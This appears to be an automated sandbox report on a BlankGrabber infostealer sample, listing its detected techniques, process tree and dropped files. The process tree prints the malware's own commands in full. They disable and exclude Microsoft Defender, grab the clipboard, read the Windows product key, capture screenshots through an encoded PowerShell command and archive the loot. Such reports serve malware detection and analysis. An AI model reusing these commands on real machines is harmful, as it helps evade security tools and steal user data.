Overview

overview

10

Static

static

10

Built.exe

windows10-2004-x64

10

Built.exe

windows11-ltsc_2024-x64

10

��b̅.pyc

windows10-2004-x64

��b̅.pyc

windows11-ltsc_2024-x64

Resubmissions

05/07/2026, 19:53

260705-yl5sbsa17l10

05/07/2026, 15:56

260705-tdehyshs4l10

05/07/2026, 15:48

260705-s8texsg12k10

Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/07/2026, 15:48

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Built.exe
  • Size 6.9MB
  • Sample260705-s8texsg12k
  • SHA256 161bfb869368948bad752ca9be7f5871169430a33292dce778c2aa28a1c9967e
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
collectiondefense_evasiondiscoveryexecutionblankgrabberspywarestealerupx

Malware Config

Signatures

  • Family: blankgrabber

    Blankgrabber is an infostealer written in Python and packaged with Pyinstaller.

    stealerblankgrabber
  • A stealer written in Python and packaged with Pyinstaller 1 IoCs
  • Detects BlankGrabber stealer in memory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

    collection
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

    defense_evasion
  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • UPX packed file 58 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Built.exe
    "C:\Users\Admin\AppData\Local\Temp\Built.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2440
    • C:\Users\Admin\AppData\Local\Temp\Built.exe
      "C:\Users\Admin\AppData\Local\Temp\Built.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:4996
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2928
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Built.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1864
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2740
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Disables one or more Microsoft Defender components
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1900
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​ ​  .scr'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2120
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\​ ​  .scr'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3904
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:1740
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3660
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:4696
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3400
        • C:\Windows\System32\Wbem\WMIC.exe
          WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        3⤵
        • Clipboard Data
        • Suspicious use of WriteProcessMemory
        PID:4656
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Get-Clipboard
          4⤵
          • Clipboard Data
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1276
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2960
        • C:\Windows\system32\tasklist.exe
          tasklist /FO LIST
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:464
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4540
        • C:\Windows\system32\tree.com
          tree /A /F
          4⤵
            PID:4412
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1320
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:1156
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2668
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4780
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1zuq31oz\1zuq31oz.cmdline"
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:640
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE4E2.tmp" "c:\Users\Admin\AppData\Local\Temp\1zuq31oz\CSC624707C89F104600841B7D923C62D862.TMP"
                6⤵
                  PID:3476
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "tree /A /F"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3140
            • C:\Windows\system32\tree.com
              tree /A /F
              4⤵
                PID:4068
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tree /A /F"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2424
              • C:\Windows\system32\tree.com
                tree /A /F
                4⤵
                  PID:1524
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "tree /A /F"
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:4048
                • C:\Windows\system32\tree.com
                  tree /A /F
                  4⤵
                    PID:5028
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3088
                  • C:\Windows\system32\tree.com
                    tree /A /F
                    4⤵
                      PID:4972
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4692
                    • C:\Windows\system32\tree.com
                      tree /A /F
                      4⤵
                        PID:1152
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "getmac"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2600
                      • C:\Windows\system32\getmac.exe
                        getmac
                        4⤵
                          PID:1868
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24402\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\vfgAc.zip" *"
                        3⤵
                        • Suspicious use of WriteProcessMemory
                        PID:984
                        • C:\Windows\System32\Conhost.exe
                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                          4⤵
                            PID:1524
                          • C:\Users\Admin\AppData\Local\Temp\_MEI24402\rar.exe
                            C:\Users\Admin\AppData\Local\Temp\_MEI24402\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\vfgAc.zip" *
                            4⤵
                            • Executes dropped EXE
                            PID:3648
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5044
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic os get Caption
                            4⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2772
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                          3⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1496
                          • C:\Windows\System32\Wbem\WMIC.exe
                            wmic computersystem get totalphysicalmemory
                            4⤵
                              PID:3116
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3944
                            • C:\Windows\System32\Wbem\WMIC.exe
                              wmic csproduct get uuid
                              4⤵
                                PID:224
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1568
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                4⤵
                                • Command and Scripting Interpreter: PowerShell
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3744
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4496
                              • C:\Windows\System32\Wbem\WMIC.exe
                                wmic path win32_VideoController get name
                                4⤵
                                • Detects videocard installed
                                PID:3940
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                              3⤵
                              • Suspicious use of WriteProcessMemory
                              PID:684
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                4⤵
                                • Suspicious behavior: EnumeratesProcesses
                                PID:3512
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                          1⤵
                            PID:4068

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                powershell.exe.log
                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                                • Size 3KB
                                • SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 944B
                                • SHA256 4ff13717087ef748699f1fd75630e1ff8d92694f4d2079826c7229608639c50a
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 944B
                                • SHA256 d1dae534bb9fc91682d16c2a30657cf3eafa4db82fec8d1477dde2d0e9af5a18
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 944B
                                • SHA256 232dac927d663f4ed67a4f005da093bc9865c323767c29c3b4a21797f4a60e58
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 1KB
                                • SHA256 e2805097ff9bf2ff35cd07f4787363d16efc843d9a862eb93678e97f17569136
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                StartupProfileData-NonInteractive
                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                • Size 64B
                                • SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
                                • MD5 SHA1 SHA512
                                Submit Download

                                1zuq31oz.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\1zuq31oz\1zuq31oz.dll
                                • Size 4KB
                                • SHA256 4060ab4be3ee9cd1f75eb4f23b457cf80cd0dbd7c13792d0f67e8214b8386f45
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                RESE4E2.tmp
                                • Path C:\Users\Admin\AppData\Local\Temp\RESE4E2.tmp
                                • Size 1KB
                                • SHA256 8d72162448e8b3acd69f16f11265570effe8e55ec3e6b64393336297e31bdb6a
                                • MD5 SHA1 SHA512 TLSH
                                Submit Download

                                VCRUNTIME140.dll
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI24402\VCRUNTIME140.dll
                                • Size 106KB
                                • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                Submit Download

                                _bz2.pyd
                                • Path C:\Users\Admin\AppData\Local\Temp\_MEI24402\_bz2.pyd
                                • Size 48KB
